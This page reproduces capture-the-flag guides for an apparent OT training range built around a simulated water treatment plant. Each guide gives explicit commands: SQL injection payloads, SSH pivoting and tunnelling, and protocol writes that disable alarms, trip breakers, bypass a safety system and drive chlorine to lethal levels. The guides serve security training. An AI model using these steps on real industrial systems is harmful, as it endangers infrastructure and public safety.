Wired Village/Sysrupt/Challenges

10 challenges · 4700 pts

Challenges

Content on this page is reproduced from the Sysrupt Portable OT Range repository's own challenge guides, unchanged.

01

Perimeter Breach

Beginner

Points: 100   Protocol: HTTP

The Story

You just plugged your laptop into a corporate network at a water treatment facility. You have no credentials, no map, no idea what's inside. Your job: find a way in.

What You Know

  • You have an Ethernet connection
  • Your IP is in the 10.0.1.x range
  • Something is running on this network

Step 1: Reconnaissance

Every pentest starts with scanning. What devices are on this network? What services are running?

Hint: Use nmap to scan the corporate subnet.

Need help with the command?
nmap -sT 10.0.1.0/24

What to look for: Open ports, especially web servers (port 80, 8080).

Step 2: Explore the Web Application

You found a web server. Open it in your browser.

What to look for:

  • Is there a login page?
  • Check the page source (Ctrl+U) - developers sometimes leave comments
  • Are there any API endpoints?

Step 3: Find a Vulnerability

Web applications often have flaws in how they handle user data. Try accessing resources you shouldn't be able to.

Hint: What happens if you change numbers in the URL?

Stuck?

Try accessing employee records by ID:

http://<ip>/api/employee/1
http://<ip>/api/employee/2

This is called IDOR (Insecure Direct Object Reference).

Step 4: Get Access

You found some data. Can you use it to log in?

Hint: Look for usernames and try common passwords.

Still stuck?

Try common credentials: admin/admin, admin/admin123, admin/password

Step 5: What Did You Find?

Once you're in, explore everything. The admin panel contains critical information about the internal network that you'll need for every challenge that follows.

Write down all the IPs and services you see.

What You Learned

  • Network scanning reveals hidden services
  • Web applications often have IDOR vulnerabilities
  • Default/weak credentials are everywhere
  • One compromised system reveals the entire network map

Scoreboard: The display updates automatically when you complete this challenge. No flag to submit - just hack your way in.

02

Intelligence Gathering

Beginner

Points: 200   Protocol: OPC-UA

The Story

You broke into the corporate portal and found a list of internal systems. One of them is a "data gateway" - sounds important. Time to dig deeper into what the plant is hiding.

What You Know (from Challenge 1)

  • Admin panel showed several internal IPs
  • There's a DMZ network at 10.0.2.x
  • Something called "OPC-UA" is running somewhere

Step 1: Scan the DMZ

The admin panel pointed to the DMZ network. Scan it to find what services are running.

Hint: Scan 10.0.2.0/24 with nmap.

Need the command?
nmap -sT 10.0.2.0/24

What you'll notice: One of the IPs from the admin panel doesn't show any open ports in the default scan. Why?

Step 2: The Missing Service

Default nmap only scans the top 1000 ports. Industrial protocols use non-standard ports that get missed.

Hint: The admin panel told you exactly which port to look for. Scan it specifically.

What port?

OPC-UA uses port 4840. Scan it directly:

nmap -sT -p 4840 10.0.2.30

Step 3: Connect to OPC-UA

OPC-UA (Open Platform Communications Unified Architecture) is an industrial data protocol. It's like a database of everything happening in the plant.

Hint: You have a GUI tool installed. Try running opcua-client from the terminal.

How to connect?
  1. Run opcua-client from a terminal
  2. Enter the address: opc.tcp://10.0.2.30:4840
  3. Click Connect
  4. Browse the tree on the left panel

Step 4: Explore the Data

You're now connected to the plant's data gateway. Browse through everything - look for:

  • Configuration data
  • Credentials
  • Hidden information
  • Maintenance records

Hint: Expand every node. Some have sub-nodes that contain the real treasure.

Where to look specifically?

Look at these paths:

  • WaterTreatmentPlant → HistorianConfig - contains database credentials
  • WaterTreatmentPlant → PlantInfo → Maintenance → ServiceHistory - expand entries and check the Notes field

Step 5: Write It Down

You found critical information. Write down:

  • Any credentials (server, username, password)
  • Any flags
  • Any IP addresses and ports
  • Network endpoints

You'll need these for the next challenge.

What You Learned

  • Industrial protocols use non-standard ports - default scans miss them
  • OPC-UA often allows anonymous access (no authentication)
  • One connection can expose the entire plant's data
  • Always scan specific ICS ports: 502, 4840, 20000, 44818, 2404, 47808

Scoreboard: Updates automatically when you connect to the OPC-UA server.

03

Pivot to OT

Intermediate

Points: 300   Protocol: SQLi + SSH

The Story

You have credentials for the plant's data historian - a database that stores all process data. Historians are gold mines for attackers because they often have weak security and contain credentials for other systems. Time to exploit it and pivot deeper into the OT network.

What You Know (from Challenge 2)

  • Historian at 10.0.2.10:8080 with credentials historian / hist0ry!
  • Jump Host at 10.0.2.20 with SSH open
  • SCADA HMI at 10.0.3.10:8080

Step 1: Login to the Historian

Open it in your browser and login with the credentials you found.

How?
http://10.0.2.10:8080
Username: historian
Password: hist0ry!

You should see a process data dashboard with a Query page.

Step 2: Test for SQL Injection

The Query page has a "Filter by Source" input field. Pentesters always test input fields for injection vulnerabilities.

Hint: What happens if you put a single quote ' in the field?

What to try?

Type this in the Source field:

'

If you get a SQL error - the input is not sanitized. It's injectable.

Step 3: Extract Data with UNION SELECT

SQL injection lets you read any table in the database. But you need to match the column count.

Hint: Try increasing the number of columns in a UNION SELECT until it works.

How many columns?

The table has 10 columns. Try:

' UNION SELECT 1,2,3,4,5,6,7,8,9,10 --

Step 4: Find Hidden Tables

What tables exist in this database? The database schema tells you.

How to list tables?
zzz' UNION SELECT name,1,1,1,1,1,1,1,1,1 FROM sqlite_master WHERE type='table' --

Look for interesting table names like credentials, flags, users.

Step 5: Dump the Credentials

You found a credentials table. What's in it?

How to dump it?

First find the columns:

zzz' UNION SELECT replace(sql,char(10),' '),1,1,1,1,1,1,1,1,1 FROM sqlite_master WHERE name='credentials' --

Then dump the data:

zzz' UNION SELECT service,host||':'||port,username,password,notes,1,1,1,1,1 FROM credentials --

Write down every credential you find - you need them for pivoting.

Step 6: Don't Forget the Flags Table

There's also a flags table worth checking.

Query?
zzz' UNION SELECT id,flag,'3','4','5','6','7','8','9','10' FROM flags --

Step 7: Pivot via SSH

You found SSH credentials. Use them to move deeper into the network.

Hint: Start with the Jump Host, then look around - check bash history for clues about where previous users connected.

SSH commands?
ssh maintenance@10.0.2.20
# password: maint2024!

Once on the Jump Host:

cat ~/.bash_history

Then pivot to the next host you find in the history.

Step 8: Access the SCADA HMI

You've pivoted to the SCADA zone. The HMI is a web application - but your laptop can't reach it directly. You need an SSH tunnel.

Hint: SSH tunnels forward a local port through a remote host.

How to tunnel?

From your Kali terminal (not inside the jump host):

sshpass -p 'maint2024!' ssh -f -N -L 8080:10.0.3.10:8080 maintenance@10.0.2.20

Then open Firefox:

http://localhost:8080

Login with the SCADA credentials you found in the SQL dump.

Explore the HMI - it has multiple tabs showing different parts of the plant.

What You Learned

  • SQL injection can extract entire databases
  • Credentials stored in plaintext are common in industrial systems
  • SSH tunneling lets you pivot between network zones
  • Bash history reveals what previous users did
  • One compromised system leads to the next - this is how real attacks chain

Scoreboard: Updates when the SCADA HMI login is detected.

04

Building Recon

Intermediate

Points: 350   Protocol: BACnet/IP

The Story

Remember that device at 10.0.1.20 from your very first scan? It had no TCP ports open - but it's definitely there. Something is monitoring the building's environment. Not all industrial protocols use TCP.

What You Know

  • 10.0.1.20 is on the corporate network (same as you)
  • No TCP ports were found in earlier scans
  • OPC-UA (CH-02) showed "BuildingManagement" sensor data - temperature, humidity

Step 1: Think Beyond TCP

Your earlier scans used -sT which only scans TCP. Many industrial protocols use UDP instead.

Hint: Building automation commonly uses UDP port 47808.

How to scan UDP?
sudo nmap -sU -p 47808 10.0.1.20

Note: UDP scans require sudo.

Step 2: What is BACnet?

BACnet (Building Automation and Control Networks) controls:

  • HVAC (heating, ventilation, air conditioning)
  • Lighting
  • Access control (door locks)
  • Fire alarm systems

It uses UDP port 47808 and has zero authentication by default.

Step 3: Discover the Device

Use the BACnet tool to find out what's running.

How?
python3 ~/tools/bacnet-tool.py -t 10.0.1.20 -c scan

Step 4: Enumerate Objects

BACnet organizes data as objects:

  • AI (Analog Input) - sensors like temperature, humidity
  • AV (Analog Value) - configuration parameters
  • BI (Binary Input) - on/off states

List everything on the device.

Command?
python3 ~/tools/bacnet-tool.py -t 10.0.1.20 -c list

Look carefully at the output. Some objects have unusual instance numbers - those are worth investigating.

Step 5: Dig Deeper

A thorough pentester doesn't just read values - they check all properties of interesting objects. BACnet objects have properties like Present-Value (85), Description (28), and Object-Name (77).

Hint: An object with an unusual instance number might have something hidden in its Description.

How to read all properties?
python3 ~/tools/bacnet-tool.py -t 10.0.1.20 -c read-all --type AV --instance <number>

Try different instances, especially unusual ones.

What You Learned

  • BACnet uses UDP - TCP scans miss it completely
  • Building management systems often sit on the corporate network, not segmented
  • BACnet has zero authentication - anyone can read AND write
  • An attacker could control HVAC, unlock doors, disable fire alarms
  • Always scan UDP ports when testing OT environments

Scoreboard: Updates about 30 seconds after a BACnet query is detected.

05

Deep Protocol: DNP3

Advanced

Points: 400   Protocol: DNP3 (Distributed Network Protocol 3)

The Story

You've reached the SCADA zone. From the Engineering Workstation, you can see the Process network where the actual PLCs run. One of them speaks a protocol used in power grids and water systems worldwide. It's time to go deep into industrial protocol territory.

What You Know

  • You have SSH access to the EWS (engineer@10.0.3.20)
  • The Process network is at 10.0.4.x
  • Kali can't reach 10.0.4.x directly - firewall blocks it

Step 1: Scan the Process Network

You need to scan from the EWS, or set up tunnels from Kali.

Hint: Set up a double SSH tunnel - Kali → Jump Host → EWS.

Tunnel commands?
# Tunnel 1: Reach EWS SSH through Jump Host
sshpass -p 'maint2024!' ssh -f -N -L 2222:10.0.3.20:22 maintenance@10.0.2.20

# Now you can SSH to EWS via localhost:2222
sshpass -p 'eng2024!' ssh -p 2222 engineer@127.0.0.1 'nmap -sT 10.0.4.0/24 2>/dev/null'

What to look for: Multiple PLCs on different ports. One of them is on port 20000.

Step 2: Identify the Protocol

Port 20000 isn't standard for Modbus (502) or EtherNet/IP (44818). Research what SCADA protocol uses port 20000.

Hint: It's a protocol designed by GE for electric utilities, now used worldwide in water and power.

Answer

DNP3 (Distributed Network Protocol 3) - commonly on port 20000. Used in the Ukraine power grid attack (2015).

Step 3: Set Up a Tunnel and Connect

Forward port 20000 through the EWS to Kali.

Tunnel command?
sshpass -p 'eng2024!' ssh -f -N -L 20000:10.0.4.103:20000 -p 2222 engineer@127.0.0.1

Now use the DNP3 tool to scan and read:

python3 ~/tools/dnp3-tool.py -t 127.0.0.1 -c scan
python3 ~/tools/dnp3-tool.py -t 127.0.0.1 -c read

Step 4: Analyze the Data

The read command returns binary inputs, analog inputs, and counters. Look at the counter values carefully.

Hint: The counter values are small numbers. Could they represent something other than counts?

Another hint

Look at the ASCII column next to each counter value. What do the characters spell?

Step 5: The CRC Challenge

DNP3 uses CRC-16 checksums for data integrity. The counter values encode a message. To prove you understand the protocol, you need to:

  1. Decode the message from the counter ASCII values
  2. Calculate the DNP3 CRC-16 of that message
  3. Write the CRC value back to the outstation

The tool does NOT calculate CRC for you - you must write your own.

CRC-16-DNP algorithm
python3 -c "
data = b'<YOUR_MESSAGE_HERE>'
crc = 0
for byte in data:
    crc ^= byte
    for _ in range(8):
        if crc & 1:
            crc = (crc >> 1) ^ 0xA6BC
        else:
            crc >>= 1
crc = (crc ^ 0xFFFF) & 0xFFFF
print('CRC:', crc)
"

Step 6: Send the CRC

Use the DNP3 tool's operate command with your calculated CRC value.

Command?
python3 ~/tools/dnp3-tool.py -t 127.0.0.1 -c operate -v <your_crc_value>

If the CRC is correct, the outstation returns the flag in its response.

What You Learned

  • SSH tunneling chains let you reach isolated networks
  • DNP3 is used in power grids, water systems, oil/gas pipelines
  • DNP3 organizes data as binary inputs, analog inputs, and counters
  • CRC-16 provides data integrity but NOT security
  • No authentication on control commands - anyone can operate equipment

Scoreboard: Updates when the correct CRC value is written to the outstation.

06

Silent Overpressure

Advanced

Points: 450   Protocol: EtherNet/IP (CIP)

The Story

The water distribution system is controlled by a Rockwell/Allen-Bradley PLC. You can see it live on the SCADA HMI - the Distribution tab shows outlet pressure, pump speed, and an alarm system. Your mission: cause an overpressure without triggering the alarm. A real attacker needs to be stealthy.

What You Know

  • From process network scans, there's a PLC at 10.0.4.104:44818
  • Port 44818 = EtherNet/IP (Rockwell/Allen-Bradley standard)
  • The SCADA HMI Distribution page shows live pressure and alarm status
  • The alarm will fire if pressure exceeds the threshold

Step 1: Open the HMI

Make sure you have the SCADA HMI open in Firefox (from CH-03 tunnel).

Open the Distribution tab - watch it throughout this challenge.

You see:

  • Outlet pressure (~42 PSI, green)
  • Pump speed (62%)
  • Mode: AUTO
  • Alarm: ARMED - NORMAL (green)

Step 2: Set Up a Tunnel

Forward port 44818 through the EWS to Kali.

Tunnel command?
sshpass -p 'eng2024!' ssh -f -N -L 44818:10.0.4.104:44818 -p 2222 engineer@127.0.0.1

Step 3: Scan the PLC

Discover what tags (variables) the PLC exposes.

Command?
python3 ~/tools/enip-tool.py -t 127.0.0.1 -c scan

Study the tags carefully. Which ones are writable? Which ones control the alarm? What's the threshold?

Step 4: Try the Obvious Attack

Switch to manual mode and crank the pump to 100%.

Watch the HMI while you do this.

Commands?
python3 ~/tools/enip-tool.py -t 127.0.0.1 -c write --tag MODE_SELECT --value 0
python3 ~/tools/enip-tool.py -t 127.0.0.1 -c write --tag BOOSTER_PUMP_SPEED --value 100

What happens? Pressure rises... passes the threshold... ALARM FIRES! Everything resets. You failed.

In a real system, operators would be alerted. A stealthy attacker wouldn't trip the alarm.

Step 5: Think Like Stuxnet

The Stuxnet worm disabled safety alerts BEFORE causing physical damage. The operators saw normal readings while centrifuges were being destroyed.

What tag controls the alarm? Can you disable it BEFORE causing overpressure?

Hint

Look at the tag list from the scan. There's a tag that enables/disables the alarm. Write to it first, THEN cause the overpressure.

Step 6: The Right Order

  1. First: disable the alarm
  2. Then: switch to manual mode
  3. Then: max out the pump

Watch the HMI - pressure rises past the threshold but no alarm fires. The flag appears on the Distribution page.

Need the exact commands?

Check the solution file - but try to figure out the order yourself first.

What You Learned

  • EtherNet/IP uses named tags - readable and writable without authentication
  • Order of operations matters in ICS attacks
  • Disabling alarms before causing damage = stealth (Stuxnet technique)
  • The HMI shows real-time impact of your attack
  • Defence: tag write monitoring, alarm tamper detection

Scoreboard: Updates when pressure exceeds threshold with alarm disabled. The flag also appears on the HMI Distribution page.

07

Power Substation Blackout

Advanced

Points: 500   Protocol: IEC 60870-5-104

The Story

The plant has its own power substation - breakers, feeders, and a 230V supply keeping everything running. It's controlled by a European SCADA protocol that manages power grids across the world. One command to the wrong breaker and the entire facility goes dark. Open the Power tab on the HMI to see the substation diagram.

What You Know

  • From process network scans, there's a PLC at 10.0.4.105:2404
  • Port 2404 = IEC 60870-5-104 (European power grid SCADA)
  • The SCADA HMI Power page shows a single-line substation diagram
  • Main breaker is CLOSED (green), voltage ~230V

Step 1: Watch the HMI

Open the Power tab on the SCADA HMI. You see:

  • Single-line diagram with Main Breaker, Bus Tie, Feeders A & B
  • Live voltage, current, frequency, power measurements
  • Everything is green and normal

Keep this page open - you're about to cause a blackout.

Step 2: Set Up a Tunnel

Forward port 2404 through the EWS.

Tunnel command?
sshpass -p 'eng2024!' ssh -f -N -L 2404:10.0.4.105:2404 -p 2222 engineer@127.0.0.1

Step 3: Scan the Station

IEC 104 organizes data differently from Modbus or EtherNet/IP:

  • IOA (Information Object Address) identifies each data point
  • M_SP_NA_1 = single-point status (breaker open/closed)
  • M_ME_NC_1 = measured value (voltage, frequency)
  • C_SC_NA_1 = single command (control a breaker)
Scan command?
python3 ~/tools/iec104-tool.py -t 127.0.0.1 -c scan

Study the output. Note which IOAs are status points and which are command points. The command points can CONTROL the breakers.

Step 4: Read Measurements

Get a detailed view of the substation state.

Command?
python3 ~/tools/iec104-tool.py -t 127.0.0.1 -c read

The main breaker at IOA 100 is CLOSED - it's supplying power to the entire plant.

Step 5: Trip the Main Breaker

The command IOA for the main breaker is listed in the scan output. Send a TRIP command to open it.

Watch the HMI Power page when you do this.

What value to use?

"trip" or "off" or "open" - the tool accepts all of these.

Full command?
python3 ~/tools/iec104-tool.py -t 127.0.0.1 -c control --ioa <command_ioa> --value trip

What happens on the HMI: BLACKOUT flashes across the substation diagram. The main breaker turns RED (OPEN). The flag appears.

What You Learned

  • IEC 60870-5-104 controls real power grid infrastructure
  • One command can blackout an entire facility
  • No authentication required on breaker commands
  • This is exactly how the Ukraine power grid was attacked in December 2015 - attackers used IEC 104 to open breakers remotely, cutting power to 230,000 people

Scoreboard: Updates when the breaker trip command is detected. Flag also appears on the HMI Power page.

08

Process Manipulation

Expert

Points: 600   Protocol: Modbus TCP

The Story

The heart of the water treatment plant is the chemical dosing system. A PLC controls how much chlorine gets injected into the water - too little and bacteria survive, too much and the water becomes toxic. The PLC runs a PID controller that automatically maintains safe levels. Your mission: take over the dosing process.

What You Know

  • From process network scans, there's a PLC at 10.0.4.102:502
  • Port 502 = Modbus TCP (the most common industrial protocol)
  • The SCADA HMI Process page shows live chlorine levels and PID mode
  • Chlorine is currently ~1.5 ppm (safe, controlled by PID in AUTO mode)

Step 1: Watch the HMI

Open the Process tab on the SCADA HMI. Note:

  • Chlorine: ~1.50 ppm (green)
  • PID: AUTO
  • The PID controller keeps chlorine at the safe setpoint

Keep watching - you'll see chlorine change as you manipulate the PLC.

Step 2: Set Up a Tunnel

Forward Modbus port 502 through the EWS.

Tunnel command?
sshpass -p 'eng2024!' ssh -f -N -L 502:10.0.4.102:502 -p 2222 engineer@127.0.0.1

Note: Port 502 is privileged - may need sudo on some systems.

Step 3: Scan the PLC

Modbus organizes data as numbered registers:

  • Holding Registers (HR) - read/write (setpoints, PID parameters)
  • Coils - read/write digital outputs (pump on/off)
  • Input Registers (IR) - read-only sensor values
  • Discrete Inputs - read-only digital inputs
Scan command?
python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c scan

Study the registers. Which ones control the PID? Which is the mode select? Which sets the dosing speed?

Step 4: Understand the PID Controller

The PID (Proportional-Integral-Derivative) controller automatically adjusts chlorine dosing. Key registers:

  • One register controls AUTO vs MANUAL mode
  • Another sets the manual dosing speed (0-100%)
  • Input registers show actual sensor readings

Hint: Look for registers with values like 0 or 1 (mode switches) and values in the 0-100 range (percentages).

Which registers?
  • HR 9 = PID mode (1=AUTO, 0=MANUAL)
  • HR 10 = Manual dosing speed (0-100%)
  • IR 0 = Chlorine sensor reading (x100, so 150 = 1.50 ppm)

Step 5: Take Over

Switch the PID to manual and set the dosing speed high.

Watch the HMI - PID should change from AUTO to MANUAL, and chlorine should start rising.

Commands?
# Switch to manual
python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c write --register 9 --value 0

# Set dosing speed
python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c write --register 10 --value 75

Step 6: Observe the Impact

Read the chlorine sensor to see it rising:

python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c read --register 0 --type input

On the HMI: Chlorine value climbs, color changes from green to yellow to red. The flag appears on the Process page.

Note: Chlorine will cap around 5 ppm due to a PLC safety cutoff. You'll need to bypass this in a later challenge...

What You Learned

  • Modbus TCP is the most widely deployed ICS protocol - and has zero authentication
  • PID controllers are the brains of industrial processes - switching to manual removes all safety
  • Two register writes can turn a water treatment plant into a poison factory
  • This mirrors the Oldsmar, Florida attack (2021) where an attacker changed sodium hydroxide levels remotely
  • Defence: Modbus traffic monitoring, write protection, network segmentation

Scoreboard: Updates when PID mode is set to manual AND dosing speed exceeds 50%. Flag appears on HMI Process page.

09

Safety Assault

Expert

Points: 800   Protocol: S7comm (Siemens)

The Story

After CH-08, you noticed chlorine caps at ~5 ppm. Something is stopping you. The plant has a Safety Instrumented System (SIS) - an independent last line of defence that shuts everything down if conditions become dangerous. The SIS is on a completely isolated network... or is it?

What You Know

  • The Safety network is at 10.0.5.x
  • No firewall rules allow direct access from any zone
  • The SIS PLC is at 10.0.5.201:102 (S7comm protocol)
  • The HMI Process page shows SIS: ARMED (green)

Step 1: The Problem

The safety network is supposed to be air-gapped. You can't reach 10.0.5.x from the SCADA zone or anywhere else. The firewall blocks everything.

But in real industrial environments, someone always leaves a backdoor for maintenance...

Step 2: Investigate the Engineering Workstation

You have SSH access to the EWS (engineer@10.0.3.20). What else is running on it?

Hint: Check what ports are listening on the EWS.

How?

SSH to the EWS and list listening ports:

sshpass -p 'eng2024!' ssh -p 2222 engineer@127.0.0.1 'ss -tlnp'

What do you see? Port 22 (SSH, expected) and... another port. What's that?

Step 3: The Forgotten Bridge

That mysterious port is a TCP proxy - someone set up a maintenance bridge from the EWS to the Safety PLC. It was supposed to be temporary, but it was never removed.

This is how air-gaps get broken in real facilities.

Tunnel that port to Kali.

Tunnel command?
sshpass -p 'eng2024!' ssh -f -N -L <port>:127.0.0.1:<port> -p 2222 engineer@127.0.0.1

Replace <port> with the port you discovered.

Step 4: Scan the Safety PLC

The bridge speaks S7comm - the Siemens protocol. S7comm organizes data in Data Blocks (DBs).

Scan command?
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p <port> -c scan

Study the data blocks. Look at the hex dump and decoded values. One DB contains status bits, another has setpoints and something that looks like a password.

Step 5: Read the Data Blocks

Read each DB carefully.

DB1 contains safety status - byte 0 has individual bits:

  • Bit 0: SIS Armed
  • Bit 1: SIS Tripped
  • Bit 2: SIS Healthy
  • Bit 4: Maintenance Mode (THE TARGET)

DB2 contains setpoints and a maintenance password.

Commands?
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p <port> -c read --db 1 --size 22
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p <port> -c read --db 2 --size 16

Hint: Look at the last value in DB2. Does it look like a numeric code?

Step 6: Enable Maintenance Mode

To bypass the SIS, you need to:

  1. Write the maintenance password to DB2
  2. Set the maintenance mode bit in DB1
How?

The tool supports both value writes and single-bit writes:

# Write password
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p <port> -c write --db 2 --offset <offset> --value <password>

# Set maintenance bit
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p <port> -c write --db 1 --offset 0 --bit 4 --bit-value on

Watch the HMI - SIS indicator changes from ARMED (green) to BYPASSED (yellow).

Step 7: Check DB99

The scan showed another interesting data block. What's in it?

Command?
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p <port> -c read --db 99 --size 32

Look at the ASCII column in the hex dump.

What You Learned

  • Air-gapped networks often have forgotten maintenance bridges
  • S7comm (Siemens) has no authentication on data block read/write
  • Safety systems can be put in maintenance mode by an attacker
  • This mirrors the TRITON/TRISIS attack (2017) - malware specifically targeted Schneider Electric SIS controllers in a Saudi petrochemical plant
  • Defence: remove maintenance bridges, monitor SIS state changes, require physical key for maintenance mode

Scoreboard: Updates when SIS maintenance mode is enabled. Flag appears on HMI Process page.

10

Full Compromise

Expert

Points: 1000   The Stuxnet Scenario

The Story

This is it. The final challenge. You've compromised every layer of this water treatment plant - corporate network, DMZ, SCADA, process PLCs, power substation, and safety systems. Now combine everything you've learned to cause a catastrophic failure: push chlorine to lethal levels (>8 ppm) while keeping every safety system disabled. No alarms. No trips. No one knows until it's too late.

This is exactly what Stuxnet did to Iran's nuclear centrifuges in 2010.

What You Know

  • CH-08: You can control the chemical dosing PLC via Modbus (10.0.4.102:502)
  • CH-09: You can bypass the SIS via S7comm (bridge at 10102)
  • Chlorine capped at ~5 ppm because of a PLC safety cutoff
  • Even with SIS bypassed, the PLC has its own safety logic

The Three Barriers

To reach lethal chlorine (>8 ppm), ALL THREE must be defeated simultaneously:

  1. PLC PID Controller - keeps chlorine at 1.5 ppm automatically
  2. PLC Safety Cutoff - stops dosing at 5 ppm
  3. Safety Instrumented System - trips at 5 ppm (independent system)

You already defeated #1 (manual mode, CH-08) and #3 (SIS maintenance, CH-09). But #2 still blocks you at 5 ppm.

Step 1: Figure Out the PLC Safety Cutoff

In CH-08, you set manual mode + high speed. Chlorine rose but stopped at ~5 ppm. Why?

Hint: Go back to the Modbus scan from CH-08. There's a register you didn't use.

Which register?

HR 15 = alarm_inhibit. When set to 0, the PLC has a hard safety cutoff at 5 ppm. Setting it to 1 disables this cutoff.

Step 2: Plan the Attack

You need all three active at once:

  1. SIS in maintenance mode (S7comm - already done if CH-09 is complete)
  2. PLC alarm inhibit ON (Modbus register 15 = 1)
  3. PLC manual mode + maximum dosing (Modbus register 9 = 0, register 10 = 100)

Step 3: Execute

Make sure your tunnels are set up for both Modbus (port 502) and S7comm (port 10102).

Phase 1: Bypass the SIS (if not already done)

Commands?
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p 10102 -c write --db 2 --offset 14 --value 7777
python3 ~/tools/s7comm-tool.py -t 127.0.0.1 -p 10102 -c write --db 1 --offset 0 --bit 4 --bit-value on

Phase 2: Inhibit PLC alarms

Command?
python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c write --register 15 --value 1

Phase 3: Maximum chlorine dosing

Commands?
python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c write --register 9 --value 0
python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c write --register 10 --value 100

Step 4: Watch It Burn

Open the HMI Process page. Watch chlorine climb:

  • 1.5 ppm → normal (green)
  • 4.0 ppm → elevated (yellow)
  • 5.0 ppm → would normally trip the safety... but you disabled it
  • 6.0 ppm → dangerous (red)
  • 8.0 ppm → LETHAL - PLANT COMPROMISED

You can monitor from the terminal too:

python3 ~/tools/modbus-tool.py -t 127.0.0.1 -c read --register 0 --type input

The chlorine sensor reading climbs past 500 (5.0 ppm)... 600... 700... 800+.

Step 5: Victory

When chlorine exceeds 8 ppm with SIS bypassed and alarms disabled:

  • The HMI shows PLANT COMPROMISED in red
  • A victory overlay appears with the final flag
  • The scoreboard shows 4700/4700

What You Achieved

You executed a coordinated multi-protocol attack across 5 network zones using 8 industrial protocols:

Corporate (HTTP) → DMZ (OPC-UA, SQLi, SSH) → SCADA (HMI) →
Process (Modbus, DNP3, EtherNet/IP, IEC 104) → Safety (S7comm)

Every protocol had zero authentication. Every system was accessible once you reached it. The only defence was network segmentation - and you bypassed that with SSH tunneling and a forgotten maintenance bridge.

The Real-World Lesson

  • Stuxnet (2010): Destroyed Iranian nuclear centrifuges by manipulating PLCs while reporting normal readings
  • Ukraine Power Grid (2015): Opened breakers via IEC 104, blacking out 230,000 people
  • TRITON/TRISIS (2017): Targeted safety systems in a Saudi petrochemical plant
  • Oldsmar, Florida (2021): Changed chemical dosing levels in a water treatment plant remotely

What you just did combines elements of all four attacks. The difference: this was a training range. In the real world, lives depend on these systems.

Defence requires: network segmentation, protocol monitoring, authentication, safety system integrity, and people who understand both IT and OT security.

Scoreboard: 4700 / 4700 - ALL CHALLENGES COMPLETE.